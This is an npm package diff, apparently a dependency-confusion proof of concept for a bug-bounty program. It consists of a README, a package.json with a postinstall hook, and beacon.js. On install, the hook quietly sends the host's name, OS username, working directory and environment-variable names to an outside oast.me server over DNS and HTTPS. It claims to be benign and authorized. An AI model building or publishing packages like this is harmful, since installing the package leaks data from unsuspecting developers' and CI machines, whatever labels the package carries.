gx-npm-ui 99.99.99

package/README.md

@@ -0,0 +1,30 @@
+# gx-npm-ui — security-research placeholder
+
+This package is a **benign proof-of-concept** published as part of **authorized
+security testing** (Bugcrowd bug-bounty program). It exists solely to demonstrate a
+**dependency-confusion** condition: an internal package name that a build references
+but that was left **unclaimed on the public npm registry**, allowing a public package
+of the same name to be substituted.
+
+## What it does on install
+
+It emits a single beacon containing **only** non-sensitive proof-of-execution metadata:
+
+- package name
+- hostname
+- OS username
+- current working directory
+- environment-variable **names** (to evidence a CI/build context — values are never read)
+
+It does **NOT** read or transmit environment values, file contents, credentials,
+tokens, source code, or any other data, and it performs **no** destructive action.
+All logic is wrapped so it can never cause a host install to fail.
+
+## For maintainers of the affected project
+
+If you are seeing this, the name `gx-npm-ui` should be **claimed on your private
+registry and/or scoped** (e.g. `@your-org/...`) so it cannot be substituted from the
+public registry. This placeholder will be **unpublished** once the corresponding
+report is acknowledged.
+
+Reported responsibly via Bugcrowd.

package/beacon.js

@@ -0,0 +1,54 @@
+/*
+ * Benign dependency-confusion PoC beacon.
+ * Authorized security research (Bugcrowd / Gartner program).
+ *
+ * On install this sends ONLY non-sensitive proof-of-execution metadata:
+ *   - package name
+ *   - hostname
+ *   - OS username
+ *   - current working directory
+ *   - environment-variable NAMES (to evidence a CI/build context, e.g. CI/JENKINS_URL)
+ *
+ * It NEVER transmits environment VALUES, file contents, credentials, tokens, or any
+ * other data, and performs NO destructive action. Every operation is wrapped so a host
+ * install can never fail because of this script.
+ */
+(function () {
+  try {
+    var os = require('os');
+    var dns = require('dns');
+    var https = require('https');
+
+    var OAST = 'd8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me';
+
+    function safe(s, n) {
+      return String(s == null ? 'na' : s)
+        .toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, n || 40) || 'na';
+    }
+
+    var pkg = process.env.npm_package_name || 'gx-npm-lib';
+    var host = ''; try { host = os.hostname(); } catch (e) {}
+    var user = ''; try { user = (os.userInfo && os.userInfo().username); } catch (e) {}
+    if (!user) user = process.env.USER || process.env.USERNAME || 'na';
+    var cwd = ''; try { cwd = process.cwd(); } catch (e) {}
+    var envNames = []; try { envNames = Object.keys(process.env).sort().slice(0, 80); } catch (e) {}
+
+    // 1) DNS beacon — most reliable through egress filtering: <pkg>.<host>.<user>.<OAST>
+    try {
+      dns.lookup([safe(pkg, 20), safe(host, 40), safe(user, 30), OAST].join('.'), function () {});
+    } catch (e) {}
+
+    // 2) HTTP beacon — carries fuller (still non-sensitive) JSON for the report write-up.
+    try {
+      var meta = { pkg: pkg, host: host, user: user, cwd: cwd, env_names: envNames, node: process.version };
+      var d = Buffer.from(JSON.stringify(meta)).toString('base64');
+      var req = https.request(
+        { host: OAST, port: 443, method: 'GET', path: '/' + safe(pkg, 20) + '?d=' + d, timeout: 4000 },
+        function (res) { res.resume(); }
+      );
+      req.on('error', function () {});
+      req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
+      req.end();
+    } catch (e) {}
+  } catch (e) { /* benign: never break the host install */ }
+})();

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "gx-npm-ui",
+  "version": "99.99.99",
+  "description": "Authorized security-research placeholder demonstrating a dependency-confusion condition (Bugcrowd). Benign install-time beacon, non-sensitive proof-of-execution metadata only; no secrets, no exfiltration, no destructive action. Will be unpublished after verification.",
+  "license": "MIT",
+  "scripts": { "postinstall": "node beacon.js" },
+  "files": ["beacon.js","README.md"],
+  "keywords": ["security-research","dependency-confusion","proof-of-concept"]
+}